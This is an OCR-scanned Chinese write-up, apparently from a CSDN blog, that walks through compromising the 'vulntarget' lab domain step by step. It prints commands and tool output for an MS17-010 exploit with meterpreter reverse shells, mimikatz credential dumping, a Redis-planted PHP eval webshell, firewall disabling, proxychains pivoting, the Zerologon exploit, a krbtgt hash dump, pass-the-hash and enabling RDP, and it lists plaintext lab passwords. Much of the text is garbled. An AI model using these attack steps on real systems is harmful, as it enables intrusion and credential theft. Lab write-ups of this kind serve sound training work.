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win2016: Administrator/Admin@123. wvulntarget.com\win2016/Admin#123

win2019: administrator/Admin@666
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B IP1: 192.168.127.91 IP1: 10.0.20.99 PL e Ol10-110
IP2: 10.0.20.98 IP2: 10.0.10.111
CSDN @starTian
ERSLIE
nmap -sC -T4 192.168.56.124
|
Eﬁﬁﬁﬁ::‘http:ff192_168_56_126 | #KMCookie

Cookie: |PHPSESSID:feannSit2e35udsﬂﬁaao1ji25

|scfra%Getshell | v
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Host is up (@.00088s latency).

Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE

80/tcp open http

| http-cookie-flags:

| /3
PHPSESSID:

i httponly flag not set

_http-title: \xCD\xAB\xB4\XEFOA\XCD\XF8\xC2\XE7\xD6\XC7\xC4\xDC\xBO\xEC\xB9\
XAB\XCFY\xB5%xCD\xB3

| http-robots.txt: 1 disallowed entry

|_/

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: @0:@C:29:86:57:0B (VMware)

Host script results:
|_clock-skew: mean: -2h4@m@@s, deviation: &£h37m@5s, median: -2s
| smb-os-discovery:
0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.

)

|

1

| 05 CPE: cpe:/o:microsoft:windows_7::spl:professional
| Computer name: win7-PC
|

|

|

|

|

|

NetBIOS computer name: WIN7-PC\x@0
Workgroup: WORKGROUP\x00
_  System time: 2022-03-14T09:39:12+08:00
smb2-time:
date: 2022-03-14T©1:39:12
_ start_date: 2022-03-14T01:37:46
| _nbstat: NetBIOS name: WIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:
29:86:57:0b (VMware)
| smb2-security-mode:
| 2.1:
| Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
| message_signing: disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 47.26 seconds
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meterpreter > load kiwi
Loading extension kiwi ...
mimikatz 2.2.0 20191125 (x64/windows)
"A La Vie, A L'"Amour" - (oe.eo)
/*%** Benjamin DELPY “gentilkiwi™ ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letouxfgmail.com )
> http://pingcastle.com / http://mysmartlogon.com #&%/

K1 shell
win7 MSF_I- £;

] BB A K E 2 SRR IR R AR

search 17-010

use 0

set payload windows/x64/meterpreter/reverse_tcp
set lport 6666

set lhost 192.168.56.1005

set rposts 192.168.56.126

run




C:\Windows\system3Z>ipconfig
ipconfig

Windows IP ¢¢eée

400000008 0000000 D!

seo0o 000 DNS eof] AL S

eoeeeoee IPvE ¢, . . . . . . . : feB@::dl68:ac08:bl4:d146%13
TPV e e e % & o« & %o+ o« - 180.0.28.98

*40000® . . . . . . . . . . . : 255.255.255.8

Teceeee, :

066000006 60006640
*ee00,000 DNS eef] L
eoeeeeee IPvG ¢, . . . . . . . : feB@::acbhc:3a7d:8f0:c49e%ll
TEvER S+ ST, . L L . .o« - 192.168.56.128
*EHE00® | . . . . . . . . < &« &« - 25H.255H.205.8
feveese, ;

¢esseeeeee isatap.{OFEECF21A-AF38-44FF-B9D1-AA7D55B9B9AAL :

een Ll L

i oA jeeslDe
seebep0ee DNS eof] 7

¢eseeeesee isatap.{C16CLD2C-FO74-4634-A62D-2B70BC241EES}:
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s ok yesside
eee0e006 DNS o4f] :

C:\Windows‘\system32>chcp 65001

AL, BEATR

CHCP 65001
ipconfig

AEME, KAH—MF

Interface 11

Name : Intel(R) PRO/10@@ MT Network Connection
Hardware MAC : @0:0c:29:86:57:0b

MTU : 1500

IPv4 Address : 192.168.56.126

IPv4 Netmask : 255.255.255.0

IPve Address : fe8@::4@88f:343@:alas4:f7f

IPv6 Netmask : ffff:ffff:Fffff-Ffff::

Interface 13

Name : Intel(R) PRO/10@@ MT Network Connection #2
Hardware MAC : @@0:0c:29:86:57:15

MTU : 1580

IPv4 Address : 10.0.20.98

IPv4 Netmask : 255.255.255.@

IPv6 Address : feB0::b64ea:9ee4:cB8eB:B82a8

IPv6 Netmask : Ffff:ffff:-ffff-ffff::

KA P E S

msfil#Emimikatz




SERVER_NAME 10.0.20.99

SERVER_ADDR 10.0.20.99

SERVER_PORT 80

REMOTE ADDR 10.0.20.98

DOCUMENT_ROOT C:/phpStudy/PHPTutorial WWWW
REQUEST SCHEME http

CONTEXT_PREFIX no value

CONTEXT DOCUMENT ROOT C:/phpStudy/PHPTutorial/WWW
SERVER_ADMIN admin@php.cn

SCRIPT_FILENAME

C:/phpStudy/PHPTutorial WWW)/phpinfo.php

REMOTE_PORT

57298

GATEWAY _INTERFACE

CGl/1.1
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BANEME, XEEBEEREEENE. BshTB#ES4S (run postwindows/manage/migrate) BRF-hiTE# (migrate PID) , %
SZoENIFREEWHRBERETE

run post/windows/manage/migrate

post/windows/gather/arp_scanner %\
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Running module against WIN7-PC
ARP Scanning 1 ;

IP: 1@.¢@

IP: 1@8.8.

a] LAE B PRIE# ZEnotepad.exe
PR 4 ¢
{§ Fnetaspoit B 7 1 J& [ TEAT AR 4E K¢, -XPAHE @7 IV B B3N, -iR A S E B A (AT R, et 2 (1P

run persistence -X -i @ -p 7777 -r 192.168.56.105

msfi¥r



exploit/multi/handler

payload windows/meterpreter/reverse tcp
LHOST 192.168.56.105

lport 7777

post/windows/gather/arp_scanner

session 1
rhost 10.0.20.1-254

/home/tian/5 &
redis-cli

pre 1
DLL init

command 'ls’
ommand ‘dir’

command 'id’

A EERO

use auxiliary/scanner/portscan/tcp
set ports 22-500,8000-10000

set rhosts 10.0.20.99

threads 50

run

win2016
REZJE, ARRED, XBERBIRIERESE

proxychains nmap -sT -p22,23,80,139,445,1433,3306,3389,6379,8080 -Pn 10.0.20.99

B4&HH T 80163793 K

803 O

SRR E R

proxychains dirsearch -u 10.0.20.99

K Iphpinfo.php3C 4, FEHAFRILT MR B 3%



D BE¥EE (0) < O3l (4) ’

= ¢y oFg v 4tE 2 RiER & TEF nEE « C:/phpStudy/PHPTutorial /WWW/ 9 ER
o
ihpsmdy 5 A4 Kb Eht
— PHPTutorial
- <5 index.php 2017-03-28 08:59:24 28b 0666
WWww

- D/ @ l.php 2017-04-20 08:49:26 20.68 Kb 0666
phpinfo.php 2013-05-09 12:56:36 23b 0666
@ tx.php 2022-03-14 11:58:24 115b 0666

redis >k AL

proxychains redis-cli -h 10.0.20.99

spoolsv.exs
process to migrate into

Spoofing PPID @
ating into 119!
Successfully migrated into process 1192

FIFredis K ZAL L K php web¥ 3% Rgetshell, 7EiX B FE&E— N shelid 47 # B 3%, 7EiX B A#THE HAphpinfo, f# 5 H M3k B
*



Username Domain L NTLM

win7 win7-PC f0d412bd764ffe8laad3bs35b5 9c6174das9@caebs422f3faba7

aebd

wdigest credentials

Username Domain Password
(null) (null) (null)
WIN7-PC$ WORKGROUP (null}

win7 win7-PC admin

tspkg credentials

Username Domain Password
win7 win7-PC admin

kerberos credentials

Username Domain Password

(null) (null) (null)
win7 win7-PC admin
win7-pc$ WORKGROUP (null)

] LLE KredisB S N ZE, redis RIZAR IR S webshell

config set dir "C:/phpStudy/PHPTutorial/WWW/"
config set dbfilename tx.php

set 1 "<?php @eval($_POST['tx']);?>"

save
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BE: Iwin? l

X | Files 10.

Payload: Iwindowsfbeacon_reverse_lcp - l

WAt [10.0.20.98 |
SFRO: (6666 ]
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192.168.56.105

SYSTEM *

SEE()
FLH(A)
B ETHRM(E)
RecEE A (DR SocksRIE(S)
HRESES) |5 L)
Mikasa P EIEVPN(D)

=1&iEEE) »

BT wWin2016 WM, F AT Z M RAwin7 fE BRILBET ¥ Kk L 4.

SYSTEM *
WINT-PC @ 4000 WIN2016 @ 3628

C:\MYOA\webroot> netsh firewall =set opmode mode=disable

netsh firewall™;
o "'netsh advfirewall firewall™
=] " "netsh advfirewa
MIE "netsh firewall" BNEMEER,

947709 -

ZJ5 IEH HE Bishel AT B AT X B R AR SEwriteup S 1,  SERHFEEAR E£8, win20164 7] Lhpingi@win7{E 252 A L 4%
BIREH, it RAER KSR EL, S<MAwin7 B k%, 1 H 7T A ER: .



5 _.ﬂ# IPVC bk, ; .8 2 2256:5e57%9
Ipve 1ﬂliﬂ:
255.255.255.0

feB0::d870:76£fd:74c1:5d00%12
10.0.10.111
235.255.255.0

J'EHU-Dﬁs

fls2 Reusable ISATAP Interface {3DA37866-F097-4088-BC52-B3F6873B5

R TR
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msf6 exploit( ) > run

Started bind TCP handler against 10.08.20
Exploit failed [user-interrupt]: Interrupt
run: Interrupted
msf6 exploit( ) > run

Started bind TCP handler against 10.0.20

Hlﬂﬁ $E ﬁIEI @-:EIZI P 0BG

external internal ~ listener user computer note process pid arch last
@ 192 168.56.128 10.0.20.98 i SYSTEM * | notepad.exe
¥ 10.0.20.98 o<... 10.0.20.99 kali SYSTEM * WIN2016 beacon.exe 3628 64 32ms
msfER nwin7 B i
msf6 > route add 10.0.20.0 255.255.0.0 1
msf6 > route print
msfif B REE K

msf6 > use auxiliary/server/socks_proxy
msf6 > run



msfiE [a] & 8

H msfiE A 5

msfvenom -p windows/x64/meterpret cp LPORT=6666 -f exe >6666.exe

Wt E use exploit/multi/handler

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp
set lport 6666

set rhost 10.0.20.99

options

msf6 exploit( ) > options
Module options (exploit/multi/handler):
Name Current Setting Reguired D
Payload options (windows eterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC proc ] Ves o h, thread, pro

Window

Exploit target:
Id Name

Wildcard Target

7o [ L 2K T



C:D:
E: Windows NT WIN2016 6. 1 . (Windows Server
HF: sysTEM

(*:i- ﬁﬁ)\ ashelp BEFMm

C: \phpStudy\PHPTutorial \WWW> cd C:/phpStudy/PHPTutorial/Wnn/

C: \phpStudy\PHPTutorial \WWW> netsh firewall set opmode mode=disable
EEFE: CHNRITES -

BET#pL M "netsh firewall™;

MEIEHEA "netsh advfirewall firewall™-

FH{EH "netsh advfirewall firewall™ @5

MIE "netsh firewall™ FNFIMESR, 1EEFH

A g8 TE 947709

c: \phpStudy\PHPTutorial \waw> ]

FREH, i RAEN kB SEN LL, KEwin20168 k5.

netsh firewall set opmode mode=disable

msf6 exploit( ) > exploit
Started reverse TCP handler on 192.168.56.105:6666

Sending stage (175174 bytes) to 192.168.56.127
Meterpreter session 1 opened (192.168.56.105:6666 — 192.168.56.127:50168 ) at 2022-03-17 10:43:54 +9

808

EHF T, ol B

msf6 exploit( } > run
Started bind TCP handler against 10.0.20.99:6666
= i Exploit failed [user-interrupt]: Interrupt
run: Interrupted
msf6 exploit( )} > run
Started bind TCP handler against 10.0.20.99:6666

Sending stage (200262 bytes) to 10.0.20.99
Meterpreter session 2 opened (19.9.20.98:50376 — 10.0.20.99:6666 via session 1) at 2022-83-21 14:46:

17 +0808

meterpreter > |

msfix [n) & 3
HE EimsfR AR D

LHOST# & ywindowss7 i Py Wipitihik: LHOST 10.0.20.98

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.98 LPORT=5555 -f exe -0 5555.exe




W E use exploit/multi/handler

use exploit/multi/handler

set payload windows/meterpreter/reverse tcp
set LHOST 10.0.20.98
set LPORT 5555

options

Wz &E

SETETCVE R ishell, 1TIR, &2 -Kkali B #Z #win20160E,

> run post/windows ther/enum_domain

[+] FOUND Domain: wvulnt
[+] FOUND D - win2019 (IP: 10.0.10.110)

IP address MAC addre

0.10.110

16
1
1
1
1
1
1
Li

5E frigdz

meterpreter > run post/windows/gather/enum_domain



*# incompatible session pl
Running modul 1inst WIN

from host’'s routing table.
from host’'s routing tab
.@ from host's routi

BRBHELFR, P.
I

ains] Strict chain ... .0.1: e 0.0.10.110: 4966
chains] Str hain ... 3 p ... 10.0.18.118:135
ains] Strict chain ... : e 10.0.10.110:49668

A EEE ]

proxychains4 nmap -Pn -sT 10.0.10.110 -p6379,80,8080,445,139




HEE B =R R
IEEED

ST EEEX STTENLR)

SE

par 20|
BEE—NEI, ARIEEERLUERE,
O AFtiFinEEEI T EiL(D)

@ IFITEEERIT L)

[ | e T EAMNERSIS GRS mT EIEEEEI)(N)

EnghTeE PAEREF(S)...

HE iH REFE(A)

B AL
HIEMM R cvE-2020-1472

proxychains python3 cve-2020-1472-exploit.py #HIZTH & HIZIP
proxychains python3 cve-2020-1472-exploit.py

python3 : . EELK] 5 14Q4eeaad3 e:c7c654daldlceslcheecte
1n1;T;an

f9

ains&4.conf

preloédi r ; gnu/libpro
DLL init i
.25.dev1+2022 .12155 7 1 Copyrig 282 ureduth Corporation

i8.8.10.110:445 ... OK
ecute




impacte

B HimpacteskRi#AT T — 2B 1 ER1E

FKEUFIZhash, cdFlexample T

# proxychains python3 secretsdump.py vulntarget.com/win2019\$@10.0.10.110 -no-pass
[proxychains] config file found: /etc/proxychains4.conf

[proxychains] preloading /usr/lib/x86_64-1linux-gnu/libproxychains.so.4

[proxychains] DLL init: proxychains-ng 4.16

Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: Ox5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:49668 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31lce51cbeecfef99e637bel5: : :
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0cO89¢cO: : :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a3dd8e4a352b3461f110b587e1d1d1936: : :
vulntarget.com\win2016:1601:aad3b435b51404eeaad3b435b51404ee:dfc8d2bfa540a0a6e2248a82322e654e: : :
WIN2019%:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089¢O: : :
WIN2016%:1602:aad3b435b51404eeaad3b435b51404ee:c6804537d7ccd7cOfabebOdadddeeael: : :
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-shal-96:70aledb@9dbb1b5811644d43fa0@b40623c014b690da2099f0fc3a8657f75a51d
Administrator:aesl128-cts-hmac-shal-96:04c435638200755c0b8112211d3e88al
Administrator:des-cbc-md5:dcc29476a789ec9%e
krbtgt:aes256-cts-hmac-shal-96:17a968745d41201cbeb73f4b1ba588155cfd84ded34aaf24074a0cfe95067311
krbtgt:aes128-cts-hmac-shal-96:f401ac35dclc6fal9b0780312408cded
krbtgt:des-cbc-md5:10efae67c7026dbf
vulntarget.com\win2016:aes256-cts-hmac-shal-96:e4306bef342cd8215411f9fc38a063f5801c6ea588cc2fee531342928b882d61
vulntarget.com\win2016:aes128-cts-hmac-shal-96:6da7e9e046c4c61c3627a3276f5be855
vulntarget.com\win2016:des-cbc-md5:6e2901311c32ae58
:aes256-cts-hmac-shal-96:092c877c3b20956347d535d91093bclebl16b486b630ae2d99cOcf15da5db1390
:aes128-cts-hmac-shal-96:0dcald7d2a216089c¢185d337cf643e25
:des-cbc-md5:01c88941541023bc
:aes256-cts-hmac-shal-96:d2d431e6ce22fbcb8c44331c564c6300fa3df61206dbd125+3498504de5674b5
:aes128-cts-hmac-shal-96:fccb7840b51e238c3d9696585487e27F
:des-cbc-md5:cbcel9f4297a49b0
[*] Cleaning up...

8 3 administratorffThash

@aad3b435b51404eeaad3b435b51404ee:c7c654da3lce51cbeecfef99e637bels

HEME T HE

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da3lceS51cbeectef99e637bel5 adminis
trator@10.0.10.110




i nmap 10.0.10.11@
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-83-17 15:45 CST
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.10.110:80 ¢—socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.0.190.11@0:445 ... DK
RTTVAR has grown to over 2.3 seconds, decreasing to
RTTVAR has grown to over 2.3 seconds, decreasing to 2.
[proxychains] Strict chain ... 127.0.8.1:1080 ... .B.19.118:
RTTVAR has grown to over 2.3 seconds, decreasing to
RTTVAR has grown to over 2.3 seconds, decreasing to 2.
[proxychains] Strict chain ... 127.0.8.1:1080 ... 10.0.10.110:8080 ¢—socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 .. 10.0.10.110:6379 ¢—socket error or timeout!
Nmap scan report for 10.0.10.110
Host is up (12s latency).

PORT STATE SERVICE
80/tcp closed http

139/tcp open netbios-ssn
445/tcp open microsoft-ds
6379/tcp closed redis
8080/tcp closed http-proxy

Nmap done: 1 IP address (1 host up) scanned in 45.30 seconds

pip=pad i)

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /
d 3389 /f

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

[-]1 Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/1library/codecs.html#fstandard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
iiiiiJiiigi

C:\Windows\system32>wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
[-]1 Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/1library/codecs.html#fstandard-encodings

and then execute smbexec.py again with -codec and the corresponding codec

e+ (\\WIN2019\ROOTNCIMV2\TerminalServices:Win32_TerminalServiceSetting.ServerName="WIN2019" )—>SetAll
owTSConnections( )

S ebbb | Sod

bbbbb:

instance of _ PARAMETERS

{

b

ReturnValue = @;

C:\Windows\system32>netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in 1
ocalport=3389 action=allow

[-]1 Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings

and then execute smbexec.py again with -codec and the corresponding codec

]iii¢

C:\Windows\system32>sS|]

HERZRERMAT

proxychains rdesktop 10.0.10.110
S : vulntarget.com\administrator
Fh: Admin@666
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